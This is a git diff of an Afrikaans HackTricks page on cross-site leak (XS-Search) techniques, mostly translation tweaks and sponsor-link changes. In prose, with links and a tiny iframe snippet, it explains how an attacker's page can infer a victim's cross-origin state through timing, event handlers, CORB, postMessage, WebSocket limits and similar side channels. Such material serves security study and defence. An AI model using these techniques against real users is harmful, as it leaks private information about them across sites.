* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -399,7 +399,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaps-hulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaps-hulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

View file

@ -2,10 +2,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [****](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) om maklik te bou en **werkstrome outomaties** aan te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
<details>
@ -15,7 +15,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -25,7 +25,7 @@ Ander maniere om HackTricks te ondersteun:
XS-Soek is 'n metode wat gebruik word vir die **ontginning van kruis-oorsprong inligting** deur gebruik te maak van **sykanaal kwesbaarhede**.
Belangrike komponente betrokke by hierdie aanval sluit in:
Kernkomponente betrokke by hierdie aanval sluit in:
* **Kwesbare Web**: Die teikenwebwerf waarvandaan inligting bedoel word om ontgin te word.
* **Aanvaller se Web**: Die skadelike webwerf geskep deur die aanvaller, wat die slagoffer besoek, wat die uitbuiting aanbied.
@ -38,46 +38,46 @@ Belangrike komponente betrokke by hierdie aanval sluit in:
Verskeie aspekte kan geanaliseer word om die toestande van die Kwesbare Web te onderskei:
* **Statuskode**: Onderskeiding tussen **verskeie HTTP-antwoordstatuskodes** kruis-oorsprong, soos bedienersfoute, kliëntfoute, of outentiseringsfoute.
* **Statuskode**: Onderskeiding tussen **verskeie HTTP-antwoordstatuskodes** kruis-oorsprong, soos bedieningsfoute, kliëntfoute, of verifikasie foute.
* **API Gebruik**: Identifisering van **gebruik van Web-API's** oor bladsye, wat onthul of 'n kruis-oorsprongbladsy 'n spesifieke JavaScript Web-API gebruik.
* **Herleiings**: Opmerking van navigasies na verskillende bladsye, nie net HTTP-herleiings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
* **Bladsy-inhoud**: Waarneming van **variasies in die HTTP-antwoordliggaam** of in bladsy-subbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
* **HTTP-kop**: Opmerking van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-antwoordkop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
* **Bladsy-inhoud**: Waarneming van **variasies in die HTTP-antwoordliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
* **HTTP-kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-antwoordkop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
* **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande.
### Insluitingsmetodes
* **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheet, beelde, of skripte, wat die blaaier dwing om 'n nie-HTML-hulpbron aan te vra. 'n Samestelling van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **ramebeskerming ontbreek**, kan JavaScript toegang kry tot die vensterobjek van die ingeslote hulpbron via die contentWindow-eienskap.
* **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe lêer of venster, wat 'n **vensterhandvatsel** vir JavaScript bied om met metodes en eienskappe te interaksioneer volgens die SOP. Pop-ups, dikwels gebruik in enkel aanmelding, omseil rame en koekiebeperkings van 'n teikenhulpbron. Moderne blaaier beperk egter die skep van pop-ups tot sekere gebruikersaksies.
* **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe lêer of venster, wat 'n **vensterhandvatsel** vir JavaScript bied om met metodes en eienskappe te interaksioneer volgens die SOP. Pop-ups, dikwels gebruik in enkeltekenaanmelding, omseil rame en koekiebeperkings van 'n teikenhulpbron. Moderne blaaier beperk egter pop-up-skepping tot sekere gebruikersaksies.
* **JavaScript Versoeke**: JavaScript maak direkte versoeke na teikenhulpbronne moontlik deur gebruik te maak van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos die opsie om HTTP-herleiings te volg.
### Lektegnieke
* **Gebeurtenishanterer**: 'n klassieke lektegniek in XS-Lekke, waar gebeurtenishanterers soos **onload** en **onerror** insigte bied oor die sukses of mislukking van hulpbronlaaiing.
* **Foutboodskappe**: JavaScript-uitsonderings of spesiale foutbladsye kan lekinligting verskaf óf direk vanuit die foutboodskap óf deur onderskeiding tussen die teenwoordigheid en afwesigheid daarvan.
* **Globale Limiete**: Fisiese beperkings van 'n blaaier, soos geheuekapasiteit of ander afgedwonge blaaierlimiete, kan aandui wanneer 'n drempel bereik is, as lektegniek dienende.
* **Foutboodskappe**: JavaScript-uitsonderings of spesiale foutbladsye kan lekinligting verskaf, óf direk vanuit die foutboodskap óf deur onderskeiding tussen sy teenwoordigheid en afwesigheid.
* **Globale Limiete**: Fisiese beperkings van 'n blaaier, soos geheuekapasiteit of ander afgedwonge blaaierlimiete, kan aandui wanneer 'n drempel bereik word, as lektegniek dienende.
* **Globale Toestand**: Waargeneembare interaksies met blaaier se **globale toestande** (bv., die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaaier se geskiedenis kan aanwysings bied oor kruis-oorsprongbladsye.
* **Prestasie-API**: Hierdie API verskaf **prestasiebesonderhede van die huidige bladsy**, insluitend netwerktiming vir die dokument en gelaai hulpbronne, wat afleidings moontlik maak oor aangevraagde hulpbronne.
* **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as lektegniek gebruik word. Byvoorbeeld, die `window.frame.length`-eienskap laat JavaScript toe om die rame in 'n kruis-oorsprongwebbladsy te tel.
* **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as lektegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame in 'n kruis-oorsprongwebbladsy te tel.
## XSinator Gereedskap & Dokument
XSinator is 'n outomatiese gereedskap om **blaaier te toets teen verskeie bekende XS-Lekke** wat in sy dokument verduidelik word: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Jy kan **toegang tot die gereedskap kry by** [**https://xsinator.com/**](https://xsinator.com/)
Jy kan die **gereedskap by** [**https://xsinator.com/**](https://xsinator.com/) **kry**
{% hint style="warning" %}
**Uitgeslote XS-Lekke**: Ons moes XS-Lekke uitsluit wat staatmaak op **dienswerkers** aangesien hulle met ander lekke in XSinator sou bots. Verder het ons gekies om **XS-Lekke uit te sluit wat staatmaak op verkeerde konfigurasies en foute in 'n spesifieke webtoepassing**. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Lekke uitgesluit aangesien hulle dikwels stadig, lawaaierig en onakkuraat is.
**Uitgeslote XS-Lekke**: Ons moes XS-Lekke uitsluit wat staatmaak op **dienswerkers** aangesien hulle met ander lekke in XSinator sou bots. Verder het ons gekies om **XS-Lekke uit te sluit wat staatmaak op verkeerde konfigurasies en foute in 'n spesifieke webtoepassing**. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Lekke uitgesluit aangesien hulle dikwels ly aan stadigheid, lawaaierigheid en onakkuraatheid.
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) om maklik te bou en **werkstrome outomaties** aan te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## **Tydgebaseerde tegnieke**
Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
@ -113,7 +113,7 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e
### Onload Tydsberekening
* **Insluitingsmetodes**: HTML Elemente
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Opspoorbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek uit te voer. Ander klokke kan egter ook gebruik word, soos die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat vir langer as 50ms hardloop.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) nog 'n voorbeeld in:
@ -133,7 +133,7 @@ Hierdie tegniek is net soos die vorige een, maar die **aanvaller** sal ook **'n
### unload/beforeunload Tydsberekening
* **Insluitingsmetodes**: Rame
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Opspoorbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Opsomming:** Die [SharedArrayBuffer-klok](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek uit te voer. Ander klokke kan ook gebruik word.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
@ -143,12 +143,12 @@ Die tyd wat dit neem om 'n hulpbron op te haal, kan gemeet word deur die gebruik
### Sandboxed Frame Tydsberekening + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
* **Insluitingsmetodes**: Rame
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Opspoorbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy-inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek uit te voer. Ander klokke kan ook gebruik word.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Daar is waargeneem dat in die afwesigheid van [Rame Beskerming](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat nodig is vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload`-hanterer van 'n iframe slegs geaktiveer word nadat die hulpbronlaaiing en JavaScript-uitvoering voltooi is. Om die variasie wat deur skrips uitvoering ingebring word, te omseil, mag 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) eienskap binne die `<iframe>` gebruik. Die insluiting van hierdie eienskap beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
Daar is waargeneem dat in die afwesigheid van [Ramebeskerming](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat nodig is vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload`-hanterer van 'n ifram slegs geaktiveer word nadat die hulpbronlaaiing en JavaScript-uitvoering voltooi is. Om die variasie wat deur skrips uitvoering ingebring word, te omseil, mag 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) eienskap binne die `<iframe>` gebruik. Die insluiting van hierdie eienskap beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik beïnvloed word deur netwerkprestasie.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -156,87 +156,87 @@ Daar is waargeneem dat in die afwesigheid van [Rame Beskerming](https://xsleaks.
### #ID + fout + onload
* **Insluitingsmetodes**: Raamwerke
* **Opspoorbare Verskil**: Bladsy-inhoud
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**:
* **Opsomming**: As jy die bladsy 'n fout kan laat gee wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
* **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
* **Kodevoorbeeld**:
Stel dat jy die bladsy kan **invoeg** wat die **geheime** inhoud **binne 'n Iframe** het.
Jy kan die slagoffer laat soek na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload-gebeurtenis**_ altyd ten minste een keer sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe verander** deur net die **inhoud** van die **hekje** binne die URL te verander.
Jy kan die slagoffer laat soek na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload-gebeurtenis**_ altyd ten minste een keer sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe verander** deur net die **inhoud** van die **hek** binne die URL te verander.
Byvoorbeeld:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
As die eerste URL **suksesvol gelaai** was, dan sal die **onload**-gebeurtenis **nie weer geaktiveer word** wanneer die **hekje** deel van die URL verander word nie. Maar **as** die bladsy 'n soort van **fout** gehad het tydens die **laai**, dan sal die **onload**-gebeurtenis weer **geaktiveer word**.
As die eerste URL **suksesvol gelaai** was, dan sal wanneer die **hek** deel van die URL verander word, die **onload**-gebeurtenis **nie weer geaktiveer word** nie. Maar **as** die bladsy 'n soort van **fout** gehad het tydens die **laai**, dan sal die **onload**-gebeurtenis **weer geaktiveer word**.
Dan kan jy **onderskei tussen** 'n **korrek** gelaai bladsy of 'n bladsy wat 'n **fout** het wanneer dit benader word.
### Javascript-uitvoering
* **Insuittingsmetodes**: Raamwerke
* **Opsoorbare Verskil**: Bladsy-inhoud
* **Insluitingsmetodes**: Raamwerke
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**:
* **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS-kode in die negatiewe geval** instel, en elke poging binne **`<script>`**-tags laai, sodat in **negatiewe** gevalle aanvallers se **kode** uitgevoer word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
* **Kodevoorbeeld**:
* **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **terugstuur**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS-kode in die negatiewe geval** instel, en elke poging binne **`<script>`**-tags laai, sodat in **negatiewe** gevalle aanvallers se **kode** uitgevoer word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
* **Kodevoorbeeld:**
{% content-ref url="javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](javascript-execution-xs-leak.md)
{% endcontent-ref %}
### CORB - Onfout
### CORB - Onerror
* **Insuittingsmetodes**: HTML-elemente
* **Opsoorbare Verskil**: Statuskode & Koppele
* **Insluitingsmetodes**: HTML-elemente
* **Opmerkbare Verskil**: Statuskode & Koppele
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat voorkom dat webbladsye sekere sensitiewe kruis-oorsprongbronne laai om te beskerm teen aanvalle soos **Spectre**. Aanvallers kan egter sy beskermende gedrag benut. Wanneer 'n respons wat aan **CORB** onderwerp is, 'n _**CORB-beskermde**_ `Content-Type` met `nosniff` en 'n `2xx`-statuskode teruggee, stroop **CORB** die liggaam en koppe van die respons. Aanvallers wat dit waarneem, kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word) aflei, wat kan lei tot potensiële inligtingslekke.
* **Opsomming**: **Cross-Origin Read Blocking (CORB)** is 'n sekuriteitsmaatreël wat voorkom dat webbladsye sekere sensitiewe kruis-oorsprongbronne laai om te beskerm teen aanvalle soos **Spectre**. Aanvallers kan egter sy beskermende gedrag benut. Wanneer 'n respons wat aan **CORB** onderwerp is, 'n _**CORB-beskermde**_ `Content-Type` met `nosniff` en 'n `2xx`-statuskode terugstuur, stroop **CORB** die liggaam en koppe van die respons. Aanvallers wat dit waarneem, kan die kombinasie van die **statuskode** (wat sukses of fout aandui) en die `Content-Type` (wat aandui of dit deur **CORB** beskerm word) aflei, wat kan lei tot potensiële inligtingslekke.
* **Kodevoorbeeld**:
Kyk na die meer inligting skakel vir meer inligting oor die aanval.
### onblur
* **Insuittingsmetodes**: Raamwerke
* **Opsoorbare Verskil**: Bladsy-inhoud
* **Insluitingsmetodes**: Raamwerke
* **Opmerkbare Verskil**: Bladsy-inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Opsomming**: Lek sensitiewe data van die id- of naamatribuut.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Dit is moontlik om 'n bladsy binne 'n **iframe** te **laai** en die **`#id_waarde`** te gebruik om die bladsy te **fokus op die element** van die iframe met aangedui of, dan as 'n **`onblur`**-sein geaktiveer word, bestaan die ID-element.\
Dit is moontlik om 'n bladsy binne 'n **iframe** te **laai** en die **`#id_waarde`** te gebruik om die bladsy te **fokus op die element** van die iframe met die aangeduide id, dan as 'n **`onblur`**-sein geaktiveer word, bestaan die ID-element.\
Jy kan dieselfde aanval uitvoer met **`portal`**-tags.
### postMessage-uitsendings <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
* **Insuittingsmetodes**: Raamwerke, Pop-ups
* **Opsoorbare Verskil**: API-gebruik
* **Insluitingsmetodes**: Raamwerke, Pop-ups
* **Opmerkbare Verskil**: API-gebruik
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Opsomming**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
* **Kodevoorbeeld**: `Enige kode wat luister na alle postMessages.`
* **Kodevoorbeeld**: `Enige kode wat luister vir alle postMessages.`
Toepassings maak dikwels gebruik van [`postMessage`-uitsendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorsprong te kommunikeer. Hierdie metode kan egter onbedoeld **sensitiewe inligting** blootstel as die `targetOrigin`-parameter nie behoorlik gespesifiseer word nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die bloot ontvang van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs gestuur word na gebruikers wat ingeteken is. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geïdentifiseer is of nie.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) om maklik werkstrome te bou en te outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## Globale Limiete Tegnieke
### WebSocket API
* **Insuittingsmetodes**: Raamwerke, Pop-ups
* **Opsoorbare Verskil**: API-gebruik
* **Insluitingsmetodes**: Raamwerke, Pop-ups
* **Opmerkbare Verskil**: API-gebruik
* **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Opsomming**: Die uitputting van die WebSocket-verbindinglimiet lek die aantal WebSocket-verbindinge van 'n kruis-oorsprongbladsy.
* **Kodevoorbeeld**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
Dit is moontlik om te identifiseer of, en hoeveel, **WebSocket-verbindinge 'n teikenbladsy gebruik**. Dit stel 'n aanvaller in staat om programtoestande te bepaal en inligting wat verband hou met die aantal WebSocket-verbindinge te lek.
As een **oorsprong** die **maksimum hoeveelheid WebSocket-verbinding-voorwerpe** gebruik, ongeag hul verbindings toestand, sal die skepping van **nuwe voorwerpe lei tot JavaScript-uitsonderings**. Om hierdie aanval uit te voer, open die aanvaller-webwerf die teikenwebwerf in 'n pop-up of iframe en probeer dan, nadat die teikenweb gelaai is, die maksimum aantal moontlike WebSocket-verbindinge skep. Die **aantal gegooide uitsonderings** is die **aantal WebSocket-verbindinge wat deur die teikenwebwerf**-venster gebruik word.
As een **oorsprong** die **maksimum hoeveelheid WebSocket-verbinding**-voorwerpe gebruik, ongeag hul verbindingsstatus, sal die skepping van **nuwe voorwerpe lei tot JavaScript-uitsonderings**. Om hierdie aanval uit te voer, open die aanvaller-webwerf die teikenwebwerf in 'n pop-up of iframe en probeer dan, nadat die teikenweb gelaai is, die maksimum aantal moontlike WebSocket-verbindinge skep. Die **aantal gegooide uitsonderings** is die **aantal WebSocket-verbindinge wat deur die teikenwebwerf**-venster gebruik word.
### Betalings-API
* **Insluitingsmetodes**: Rame, Pop-ups
@ -247,7 +247,7 @@ As een **oorsprong** die **maksimum hoeveelheid WebSocket-verbinding-voorwerpe**
Hierdie XS-Leak stel 'n aanvaller in staat om **te identifiseer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek inisieer**.
Omdat **slegs een versoekbetaling aktief kan wees** op 'n slag, as die teikenwebwerf die Betalingsversoek-API gebruik, sal enige **verdere pogings om hierdie API te gebruik faal**, en 'n **JavaScript-uitsondering veroorsaak**. Die aanvaller kan hierdie uitbuit deur **periodiek te probeer om die Betalings-API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik te sluit na skepping.
Omdat **slegs een versoek vir betaling aktief kan wees** op 'n slag, as die teikenwebwerf die Betalingsversoek-API gebruik, sal enige **verdere pogings om hierdie API te gebruik faal**, en 'n **JavaScript-uitsondering veroorsaak**. Die aanvaller kan hierdie uitbuit deur **periodiek te probeer om die Betalings-API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik te sluit na skepping.
### Tydsberekening van die Gebeurtenislus <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -261,7 +261,7 @@ Omdat **slegs een versoekbetaling aktief kan wees** op 'n slag, as die teikenweb
[event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) gelykheidmodel, wat beteken dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan uitgebuit word om **te meet hoe lank dit neem vir kode van 'n ander oorsprong om uit te voer**. 'n Aanvaller kan die uitvoertyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur vertragings in die uitvoer van hul eie take te waarneem**. Hierdie metode van monitering van die gebeurtenislus vir vertragings kan die uitvoertyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting kan blootstel.
